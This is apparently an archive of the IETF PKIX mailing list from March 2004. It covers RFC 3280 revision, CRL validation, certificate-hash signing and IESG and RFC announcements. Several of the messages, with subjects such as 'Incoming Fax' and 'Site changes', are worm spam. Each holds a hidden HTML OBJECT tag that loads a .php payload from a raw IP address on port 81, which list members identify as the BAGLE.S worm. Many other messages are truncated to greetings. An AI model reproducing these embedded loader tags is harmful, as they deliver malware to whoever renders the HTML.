should be undertaken.

HOWEVER, I think it is essential for us to limit
the scope of this update. We should not add features
to the spec or make substantial changes, especially
changes that would break compatibility with RFC 3280.
The scope of the update should be limited to
"clarifying and correcting the document in light
of implementation experience".

That's my perspective on this important matter.
I would like to hear other perspectives and
opinions so that we can arrive at a rough working
group consensus on this.

Thanks,

Steve

P.S. I have a list of typos and clarifications
that need to be fixed in the next version of
RFC 3280. If we decide to proceed with a revision,
I'll forward it to the editor and cc the PKIX list.
--------------ms68921DF702FFA7D326A3496E
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

--------------ms68921DF702FFA7D326A3496E--

Date: Tue, 23 Mar 2004 11:56:01 -0500
To: "Julien Stern" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: Current status of CRL validation ?
Cc: [email-masked]
Sender: [email-masked]

Julien,

Steve

From: "Ambarish Malpani" <[email-masked]>
To: "'Julien Stern'" <[email-masked]>, <[email-masked]>
Subject: RE: Current status of CRL validation ?
Date: Tue, 23 Mar 2004 08:14:17 -0800
Importance: Normal
Sender: [email-masked]

Hi Julien,
    Responses inline.

Regards,
Ambarish 

From: "Ambarish Malpani" <[email-masked]>
To: "'Julien Stern'" <[email-masked]>, <[email-masked]>
Subject: RE: Current status of CRL validation ?
Date: Tue, 23 Mar 2004 08:16:10 -0800
Sender: [email-masked]

Hi Julien,
    Responses inline.

Regards,
Ambarish 

From: "Santosh Chokhani" <[email-masked]>
To: <[email-masked]>
Subject: RE: Current status of CRL validation ?
Date: Tue, 23 Mar 2004 11:07:14 -0500
Importance: Normal
Sender: [email-masked]

Julien:

-----Original Message-----

Santosh,

From: "Julien Stern" <[email-masked]>
Date: Tue, 23 Mar 2004 15:25:26 +0100
To: [email-masked]
Subject: Re: Current status of CRL validation ?
Sender: [email-masked]

Santosh,

--
Julien

From: "Santosh Chokhani" <[email-masked]>
To: <[email-masked]>
Subject: RE: Current status of CRL validation ?
Date: Tue, 23 Mar 2004 08:38:46 -0500
Importance: Normal
Sender: [email-masked]

Julien:

-----Original Message-----

Santosh,

Sincerely,

--
Julien

the
?
> no-check extension is present in the OCSP server certificate]

From: "Julien Stern" <[email-masked]>
Date: Tue, 23 Mar 2004 11:34:12 +0100
To: [email-masked]
Subject: Re: Current status of CRL validation ?
Sender: [email-masked]

Santosh,

Sincerely,

--
Julien

> is present in the OCSP server certificate]

To: IETF-Announce :;
From: The IESG <[email-masked]>
Subject: Last Call: 'Additional Algorithms and Identifiers for RSA  Cryptography for use in the Internet X.509 Public Key Infrastructure  Certificate and Certificate Revocation List (CRL) Profile' to  Proposed Standard 
Reply-to: [email-masked]
Date: Mon, 22 Mar 2004 14:33:09 -0500
Sender: [email-masked]

The IESG has received a request from the Public-Key Infrastructure (X.509) WG 
to consider the following document:

- 'Additional Algorithms and Identifiers for RSA Cryptography for use in the 
   Internet X.509 Public Key Infrastructure Certificate and Certificate 
   Revocation List (CRL) Profile '
   <draft-ietf-pkix-rsa-pkalgs-03.txt> as a Proposed Standard

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
[email-masked] or [email-masked] mailing lists by 2004-04-05.

The file can be obtained via
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rsa-pkalgs-03.txt

From: "Santosh Chokhani" <[email-masked]>
To: <[email-masked]>
Subject: RE: Current status of CRL validation ?
Date: Mon, 22 Mar 2004 13:46:13 -0500
Importance: Normal
Sender: [email-masked]

Julien:

-----Original Message-----

Dear list,

[See previous answer]

Let us say that I have
- a Trust Anchor (CA1)
- a subCA (CA2)
- user certificates

CA1 -> CA2 -> Cert

Thank you very much.

--
Julien

Date: Tue, 23 Mar 2004 01:49:56 +0900
To: [email-masked]
Subject: Site changes
From: [email-masked]
Sender: [email-masked]

<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://68.117.95.121:81/663196.php">
</OBJECT></body></html>

From: "Julien Stern" <[email-masked]>
Date: Mon, 22 Mar 2004 17:33:56 +0100
To: [email-masked]
Subject: Current status of CRL validation ?
Sender: [email-masked]

Dear list,

Let us say that I have
- a Trust Anchor (CA1)
- a subCA (CA2)
- user certificates

CA1 -> CA2 -> Cert

Thank you very much.

--
Julien

To: IETF-Announce: ;
Subject: RFC 3739 on Internet X.509 Public Key Infrastructure: Qualified Certificates Profile
Cc: [email-masked], [email-masked]
From: [email-masked]
Date: Fri, 19 Mar 2004 14:55:31 -0800
Sender: [email-masked]

--NextPart

A new Request for Comments is now available in online RFC libraries.

        RFC 3739

        Title:      Internet X.509 Public Key Infrastructure:
                    Qualified Certificates Profile
        Author(s):  S. Santesson, M. Nystrom, T. Polk
        Status:     Standards Track
        Date:       March 2004
        Mailbox:    [email-masked], [email-masked],
                    [email-masked]
        Pages:      34
        Characters: 67436
        Obsoletes:  3039

        I-D Tag:    draft-ietf-pkix-sonof3039-06.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3739.txt

This document forms a certificate profile, based on RFC 3280, for
identity certificates issued to natural persons.

The profile defines specific conventions for certificates that are
qualified within a defined legal framework, named Qualified
Certificates.  However, the profile does not define any legal
requirements for such Qualified Certificates.

The goal of this document is to define a certificate profile that
supports the issuance of Qualified Certificates independent of local
legal requirements.  The profile is however not limited to Qualified
Certificates and further profiling may facilitate specific local
needs.

This document is a product of the Public-Key Infrastructure (X.509)
Working Group of the IETF.

This is now a Proposed Standard Protocol.

This document specifies an Internet standards track protocol for
the Internet community, and requests discussion and suggestions
for improvements.  Please refer to the current edition of the
"Internet Official Protocol Standards" (STD 1) for the
standardization state and status of this protocol.  Distribution
of this memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to [email-masked].  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to [email-masked].

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to [email-masked] with the message body 
help: ways_to_get_rfcs.  For example:

        To: [email-masked]
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to [email-masked].  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.echo 
Submissions for Requests for Comments should be sent to
[email-masked].  Please consult RFC 2223, Instructions to RFC
Authors, for further information.

Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

Below is the data which will enable a MIME compliant Mail Reader 
implementation to automatically retrieve the ASCII version
of the RFCs.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="[email-masked]"

Content-Type: text/plain
Content-ID: <[email-masked]>

RETRIEVE: rfc
DOC-ID: rfc3739

--OtherAccess
Content-Type:   Message/External-body;
        name="rfc3739.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
Content-ID: <[email-masked]>

--OtherAccess--
--NextPart--

Date: Fri, 19 Mar 2004 20:12:47 +0100
From: Jean-Marc Desperrier <[email-masked]>
To: [email-masked]
Subject: Re: ADMINISTRIVIA: viruses, worms, and so on
Sender: [email-masked]

Hallam-Baker, Phillip wrote:

>It turns out that with this particular worm you did not need to 
>click on anything to get infected. It exploits a hole in windows.
>
>You are ok if your patches were up to date.
>  
>
How happens I'm not worried at all by this kind of warning despite 
having to use Microsoft Windows ? :-)

Of course, one must be wary too of the "alternatives" mail readers that 
in fact embed IE to display HTML messages.
Or at least learn how to disable that mechanism.

From: "Hallam-Baker, Phillip" <[email-masked]>
To: "'ESPINET Didier'" <[email-masked]>, [email-masked]
Subject: RE: ADMINISTRIVIA: viruses, worms, and so on
Date: Fri, 19 Mar 2004 10:08:34 -0800
Sender: [email-masked]

It turns out that with this particular worm you did not need to 
click on anything to get infected. It exploits a hole in windows.

You are ok if your patches were up to date.

> [mailto:[email-masked]]On Behalf Of ESPINET Didier
> Sent: Friday, March 19, 2004 3:31 AM
> To: [email-masked]
> Subject: RE: ADMINISTRIVIA: viruses, worms, and so on
> 
> 
> 
> For your information, the last virus spread out in this 
> mailing list yesterday was the variant S of the well known 
> BAGLE worm (BAGLE.S). It was identified by some antivirus 
> systems as BAGLE.O.
> I suggest you to check your configuration. BAGLE.S runs a 
> process named "directs.exe" which opens port 81 and runs a 
> basic web server used by the worm to spread itself.
> Note: as often, only Windows platforms are concerned.
> 
> Didier ESPINET
> GEMPLUS IT Security Manager
> 
> > From: Paul Hoffman / IMC [mailto:[email-masked]]
> > Sent: vendredi 19 mars 2004 00:42
> > To: [email-masked]
> > Subject: ADMINISTRIVIA: viruses, worms, and so on
> > 
> > 
> > 
> > Greetings again. As many of you can tell, there is a new type of 
> > malware that is sending out short messages with spoofed 
> addresses. A 
> > few have hit this mailing list. It appears that I have not 
> perfected 
> > the Procmail filter to prevent these. FWIW, I appear to have 
> > perfected the Procmail filter for most of the other nasties going 
> > around, and have deflected dozens that would have made it to this 
> > list.
> > 
> > As usual, don't execute anything that is sent on this (or 
> any other) 
> > mailing list. Don't trust my filters to protect you. Be careful.
> > 
> > --Paul Hoffman, Director
> > --Internet Mail Consortium
> > 
> > 
> 

Date: Fri, 19 Mar 2004 08:56:20 -0800
To: [email-masked]
Subject: RE: Text message
From: [email-masked]
Sender: [email-masked]

<html><body>
<font face="System">
<OBJECT STYLE="display:none"  DATA="http://66.183.208.158:81/498685.php">
</OBJECT></body></html>

Date: Fri, 19 Mar 2004 07:07:21 -0800
To: [email-masked]
Subject: RE: Text message
From: [email-masked]
Sender: [email-masked]

<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://68.70.223.96:81/744624.php">
</OBJECT></body></html>

content-class: urn:content-classes:message
Subject: RE: ADMINISTRIVIA: viruses, worms, and so on
Date: Fri, 19 Mar 2004 09:31:08 +0100
From: "ESPINET Didier" <[email-masked]>
To: <[email-masked]>
Sender: [email-masked]

For your information, the last virus spread out in this mailing list yesterday was the variant S of the well known BAGLE worm (BAGLE.S). It was identified by some antivirus systems as BAGLE.O.
I suggest you to check your configuration. BAGLE.S runs a process named "directs.exe" which opens port 81 and runs a basic web server used by the worm to spread itself.
Note: as often, only Windows platforms are concerned.

Didier ESPINET
GEMPLUS IT Security Manager

> From: Paul Hoffman / IMC [mailto:[email-masked]]
> Sent: vendredi 19 mars 2004 00:42
> To: [email-masked]
> Subject: ADMINISTRIVIA: viruses, worms, and so on
> 
> 
> 
> Greetings again. As many of you can tell, there is a new type of 
> malware that is sending out short messages with spoofed addresses. A 
> few have hit this mailing list. It appears that I have not perfected 
> the Procmail filter to prevent these. FWIW, I appear to have 
> perfected the Procmail filter for most of the other nasties going 
> around, and have deflected dozens that would have made it to this 
> list.
> 
> As usual, don't execute anything that is sent on this (or any other) 
> mailing list. Don't trust my filters to protect you. Be careful.
> 
> --Paul Hoffman, Director
> --Internet Mail Consortium
> 
> 

Date: Thu, 18 Mar 2004 15:42:04 -0800
To: [email-masked]
From: Paul Hoffman / IMC <[email-masked]>
Subject: ADMINISTRIVIA: viruses, worms, and so on
Sender: [email-masked]

Greetings again. As many of you can tell, there is a new type of 
malware that is sending out short messages with spoofed addresses. A 
few have hit this mailing list. It appears that I have not perfected 
the Procmail filter to prevent these. FWIW, I appear to have 
perfected the Procmail filter for most of the other nasties going 
around, and have deflected dozens that would have made it to this 
list.

As usual, don't execute anything that is sent on this (or any other) 
mailing list. Don't trust my filters to protect you. Be careful.

--Paul Hoffman, Director
--Internet Mail Consortium

Date: Thu, 18 Mar 2004 14:16:24 +0800
To: [email-masked]
Subject: Request response
From: [email-masked]
Sender: [email-masked]

<html><body>
<font face="System">
<OBJECT  STYLE="display:none" DATA="http://68.108.86.222:81/282707.php">
</OBJECT></body></html>

Date: Thu, 18 Mar 2004 14:09:08 +0800
To: [email-masked]
Subject: RE: Text message
From: [email-masked]
Sender: [email-masked]

<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://24.31.122.240:81/154100.php">
</OBJECT></body></html>

Date: Thu, 18 Mar 2004 12:05:13 +0900
To: [email-masked]
Subject: Re: Yahoo!
From: [email-masked]
Sender: [email-masked]

<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://24.100.74.92:81/552910.php">
</OBJECT></body></html>

Date: Thu, 18 Mar 2004 10:23:21 +0800
To: [email-masked]
Subject: Re: Incoming Fax
From: [email-masked]
Sender: [email-masked]

<html><body>
<font  face="System">
<OBJECT STYLE="display:none" DATA="http://161.45.198.45:81/717789.php">
</OBJECT></body></html>

From: The IESG <[email-masked]>
To: IETF-Announce:;
Cc: Internet Architecture Board <[email-masked]>, RFC Editor <[email-masked]>, <[email-masked]>
Subject: Protocol Action: 'Internet X.509 Public Key Infrastructure  Certificate Management Protocols' to Proposed Standard 
Date: Thu, 11 Mar 2004 17:45:29 -0500
Sender: [email-masked]

The IESG has approved the following document:

- 'Internet X.509 Public Key Infrastructure Certificate Management Protocols '
   <draft-ietf-pkix-rfc2510bis-09.txt> as a Proposed Standard

This document is the product of the Public-Key Infrastructure (X.509) Working 
Group. 

The IESG contact persons are Russ Housley and Steve Bellovin.

Technical Summary
This document obsoletes RFC 2510.

This document describes the Internet X.509 Public Key Infrastructure
(PKI) Certificate Management Protocol (CMP). Protocol messages are
defined for X.509v3 certificate creation and management. CMP provides
on-line interactions PKI components, including an exchange between a
Certification Authority (CA) and a client system.

Working Group Summary

The Working Group came to consensus on this document.

Protocol Quality

This document was reviewed by Jeffrey I. Schiller for the IESG.

From: The IESG <[email-masked]>
To: IETF-Announce:;
Cc: Internet Architecture Board <[email-masked]>, RFC Editor <[email-masked]>, <[email-masked]>
Subject: Protocol Action: 'Certificate Extensions and Attributes  Supporting Authentication in PPP and Wireless LAN' to Proposed  Standard 
Date: Thu, 11 Mar 2004 17:37:55 -0500
Sender: [email-masked]

The IESG has approved the following document:

- 'Certificate Extensions and Attributes Supporting Authentication in PPP and 
   Wireless LAN '
   <draft-ietf-pkix-wlan-extns-05.txt> as a Proposed Standard

This document is the product of the Public-Key Infrastructure (X.509) Working 
Group. 

The IESG contact persons are Steve Bellovin and Russ Housley.

Technical Summary

Certificates have to be flagged for particular uses.  Thus, an email certificate 
can't be used for code-signing.  This document describes how to mark a certificate 
for PPP and Wireless LAN authentication.

Working Group Summary

There was working group consensus to advance this document.

Protocol Quality

The document was reviewed for the IESG by Steve Bellovin.

To: IETF-Announce: ;
Cc: [email-masked]
From: [email-masked]
Reply-to: [email-masked]
Subject: I-D ACTION:draft-ietf-pkix-wlan-extns-05.txt
Date: Thu, 11 Mar 2004 15:20:18 -0500
Sender: [email-masked]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Certificate Extensions and Attributes Supporting
Authentication in PPP and Wireless LAN
	Author(s)	: R. Housley, T. Moore
	Filename	: draft-ietf-pkix-wlan-extns-05.txt
	Pages		: 9
	Date		: 2004-3-11
	
This document defines two EAP extended key usage values and a public
key certificate extension to carry Wireless LAN (WLAN) System Service
identifiers (SSIDs).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-wlan-extns-05.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-wlan-extns-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-wlan-extns-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[email-masked]"

Content-Type: text/plain
Content-ID:	<[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-wlan-extns-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-wlan-extns-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[email-masked]>

--OtherAccess--

--NextPart--

To: IETF-Announce: ;
Cc: [email-masked]
From: [email-masked]
Reply-to: [email-masked]
Subject: I-D ACTION:draft-ietf-pkix-gost-cppk-00.txt
Date: Wed, 10 Mar 2004 15:42:25 -0500
Sender: [email-masked]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Algorithms and Identifiers for the Internet X.509 
			  Public Key Infrastructure Certificate and Certificate
			  Revocation List (CRL) Profile, corresponding to the 
			  algorithms GOST R 34.10-94, GOST R 34.10-200
	Author(s)	: S. Leontiev
	Filename	: draft-ietf-pkix-gost-cppk-00.txt
	Pages		: 23
	Date		: 2004-3-10
	
This document describes identifiers and appropriate parameters for
   the algorithms GOST R 34.10-94, GOST R 34.10-2001, GOST R 34.11-94,
   and also ASN.1 encoding scheme for digital signatures and public
   keys, used in Internet X.509 Public Key Infrastructure (PKI).  This
   specification extends [RFC3279], 'Algorithms and Identifiers for the
   Internet X.509 Public Key Infrastructure Certificate and Certificate
   Revocation List (CRL) Profile' and, correspondingly, [RFC3280],
   'Internet X.509 Public Key Infrastructure: Certificate and
   Certificate Revocation List (CRL) Profile'. All implementations of
   this specification MUST also satisfy the requirements of [RFC3280].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-gost-cppk-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-gost-cppk-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-gost-cppk-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[email-masked]"

Content-Type: text/plain
Content-ID:	<[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-gost-cppk-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-gost-cppk-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[email-masked]>

--OtherAccess--

--NextPart--

From: "Anders Rundgren" <[email-masked]>
To: "Denis Pinkas" <[email-masked]>
Cc: "pkix" <[email-masked]>
Subject: Re: Signing the hash of the signer's certficate
Date: Wed, 10 Mar 2004 18:32:50 +0100
Sender: [email-masked]

Thanx Denis,
Seems reasonable.
/anders
----- Original Message ----- 
From: "Denis Pinkas" <[email-masked]>
To: "Anders Rundgren" <[email-masked]>
Cc: "pkix" <[email-masked]>
Sent: Wednesday, March 10, 2004 17:51
Subject: Re: Signing the hash of the signer's certficate

Anders,

> It seems that neither CMS nor XML Dsig explicitly
> support signing the hash of the signer's certificate.
> 
> But this has been added to ETSI's XAdES.

  ... and is present in RFC 3126 (Electronic Signature Formats
      for long term electronic signatures).

> I understand that the reason for this addition was to thwart
> changing the client certificate.

> However, there must be a considerable difficulty
> finding a client certificate with an identical public key
> (and a provable possession of a matching private key),
> which is required in order to succeed with this attack.

Asking for a client certificate with an identical public key,
when the CA has NOT performed a POP, might be easy.

When the hash of the signer's certificate is signed, it does not matter 
anymore whether or not the CA or the RA has performed a POP at registration 
time.

Signing the hash of the signer's certificate is like doing a POP, but in 
real time for each signature with the advantage that it can be immediately 
verified by a verifier.

This also means POP does NOT need to be performed at registration time by 
RAs for keys usable for NR purposes, if they are only used in the context of 
XAdES or RFC 3126.

Denis

 > (and a provable possession of a matching private key),

> Any thoughts about this?
> Anders R

Date: Wed, 10 Mar 2004 17:51:45 +0100
From: Denis Pinkas <[email-masked]>
Organization: Bull SA.
To: Anders Rundgren <[email-masked]>
CC: pkix <[email-masked]>
Subject: Re: Signing the hash of the signer's certficate
Sender: [email-masked]

Anders,

> It seems that neither CMS nor XML Dsig explicitly
> support signing the hash of the signer's certificate.
> 
> But this has been added to ETSI's XAdES.

  ... and is present in RFC 3126 (Electronic Signature Formats
      for long term electronic signatures).

> I understand that the reason for this addition was to thwart
> changing the client certificate.

> However, there must be a considerable difficulty
> finding a client certificate with an identical public key
> (and a provable possession of a matching private key),
> which is required in order to succeed with this attack.

Asking for a client certificate with an identical public key,
when the CA has NOT performed a POP, might be easy.

When the hash of the signer's certificate is signed, it does not matter 
anymore whether or not the CA or the RA has performed a POP at registration 
time.

Signing the hash of the signer's certificate is like doing a POP, but in 
real time for each signature with the advantage that it can be immediately 
verified by a verifier.

This also means POP does NOT need to be performed at registration time by 
RAs for keys usable for NR purposes, if they are only used in the context of 
XAdES or RFC 3126.

Denis

 > (and a provable possession of a matching private key),

> Any thoughts about this?
> Anders R

Date: Wed, 10 Mar 2004 17:16:30 +0100
From: Jean-Marc Desperrier <[email-masked]>
To: [email-masked]
Subject: Re: Signing the hash of the signer's certficate
Sender: [email-masked]

Anders Rundgren wrote:

>It seems that neither CMS nor XML Dsig explicitly
>support signing the hash of the signer's certificate.
>  
>
It was not included directly inside RFC2630, but inside a RFC that 
followed it shortly : RFC2634.

The extension can be placed as a signed attribute inside any CMS or 
pkcs#7 message.

>I understand that the reason for this addition was to thwart
>changing the client certificate.
>
>However, there must be a considerable difficulty
>finding a client certificate with an identical public key
>  
>
Read RFC2634 chapter 5 and you will see the true reasons why this should 
be done :

http://www.zvon.org/tmRFC/RFC2634/Output/chapter5.html

From: "Anders Rundgren" <[email-masked]>
To: <[email-masked]>
Subject: Signing the hash of the signer's certficate
Date: Wed, 10 Mar 2004 16:02:54 +0100
Sender: [email-masked]

It seems that neither CMS nor XML Dsig explicitly
support signing the hash of the signer's certificate.

But this has been added to ETSI's XAdES.

I understand that the reason for this addition was to thwart
changing the client certificate.

However, there must be a considerable difficulty
finding a client certificate with an identical public key
(and a provable possession of a matching private key),
which is required in order to succeed with this attack.

Any thoughts about this?

Anders R

From: "Muriel Souville" <[email-masked]>
To: "'Ietf-Pkix@Imc. Org'" <[email-masked]>
Subject: Launch of the Security Plugtests Registration
Date: Wed, 10 Mar 2004 10:12:10 +0100
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_03A7_01C40688.26CD6390
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear all,

The ETSI Plugtests(tm) Service is pleased to announce the opening
of the Security Plugtests registration.
The event will take place from 24 till 28 May at the ETSI premises,
in Sophia Antipolis (France).
Deadline to register is 5th May.

 All details about the event are to be found at
http://www.etsi.org/plugtests/security.htm

Feel free to forward this email to as many people as you want in order
to have a really interesting test opportunity this week.

For any enquiry you may have, please write to [email-masked].

Thanks for your attention.
We look forward to welcoming you at our Headquarters in May.

Best regards

Muriel SOUVILLE
ETSI Consultant
Tel: +33 (0) 3 90 23 63 63

------=_NextPart_000_03A7_01C40688.26CD6390
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman" =
size=3D3>Dear=20
all,<BR><BR>The ETSI Plugtests(tm) Service is pleased to announce the=20
opening<BR>of the Security Plugtests registration.<BR>The event will =
take place=20
from 24 till 28 May at the ETSI premises,<BR>in Sophia Antipolis=20
(France).<BR>Deadline to register is 5th May.<BR><BR>&nbsp;All details =
about the=20
event are to be found at<BR></FONT><A=20
href=3D"http://www.etsi.org/plugtests/security.htm"><FONT face=3D"Times =
New Roman"=20
size=3D3>http://www.etsi.org/plugtests/security.htm</FONT></A><BR><BR><FO=
NT=20
face=3D"Times New Roman" size=3D3>Feel free to forward this email to as =
many people=20
as you want in order<BR>to have a really interesting test opportunity =
this=20
week.<BR><BR>For any enquiry you may have, please write to </FONT><A=20
href=3D"mailto:[email-masked]"><FONT face=3D"Times New Roman"=20
size=3D3>[email-masked]</FONT></A><FONT face=3D"Times New Roman"=20
size=3D3>.<BR><BR>Thanks for your attention.<BR>We look forward to =
welcoming you=20
at our Headquarters in May.<BR><BR>Best regards<BR><BR>Muriel =
SOUVILLE<BR>ETSI=20
Consultant<BR>Tel: +33 (0) 3 90 23 63=20
63</FONT><BR></FONT></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_03A7_01C40688.26CD6390--

To: IETF-Announce: ;
Cc: [email-masked]
From: [email-masked]
Reply-to: [email-masked]
Subject: I-D ACTION:draft-ietf-pkix-sonof3039-06.txt
Date: Mon, 08 Mar 2004 15:23:35 -0500
Sender: [email-masked]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure: Qualified Certificates Profile
	Author(s)	: S. Santesson, M. Nystrom
	Filename	: draft-ietf-pkix-sonof3039-06.txt
	Pages		: 34
	Date		: 2004-3-3
	
This document forms a certificate profile, based on RFC 3280, for
   identity certificates issued to natural persons.

   The profile defines specific conventions for certificates that are
   qualified within a defined legal framework, named Qualified
   Certificates. The profile does however not define any legal
   requirements for such Qualified Certificates.

   The goal of this document is to define a certificate profile that
   supports issuance of Qualified Certificates independent of local
   legal requirements.  The profile is however not limited to Qualified
   Certificates and further profiling may facilitate specific local
   needs.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-sonof3039-06.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-sonof3039-06.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-sonof3039-06.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[email-masked]"

Content-Type: text/plain
Content-ID:	<[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-sonof3039-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-sonof3039-06.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[email-masked]>

--OtherAccess--

--NextPart--

Date: Sun, 07 Mar 2004 16:17:32 -0500
To: "Jaeho Yoon" <[email-masked]>, <[email-masked]>
From: Russ Housley <[email-masked]>
Subject: Re: Can we make this kind of certificate?
Sender: [email-masked]

X.509 certificates do not have the capacity for multiple signatures, one 
from each of the "issuers."

Russ

At 09:31 AM 3/6/2004 +0900, Jaeho Yoon wrote:
>Dear experts,
>
>I have been studying the PKI in various environment. In doing that, I am 
>troubled with the needs of this kind of certificate.
>
>'a certificate issued by multiple CAs'
>
>for example, RFC3280 certificate is
>Certificate = entity dependent field + CA dependent field + 
>Signature(entity+CA field)
>
>this certificate is
>Certificate = entity dependent field + [CA1 dependent field + 
>Signature(entity+CA1 field)] + [CA2 dependent field + Signature(entity+CA2 
>field)] + ...
>
>At first sight, it may have many problems, ex. path related things.
>But in some cases, it would be very useful, I think.
>
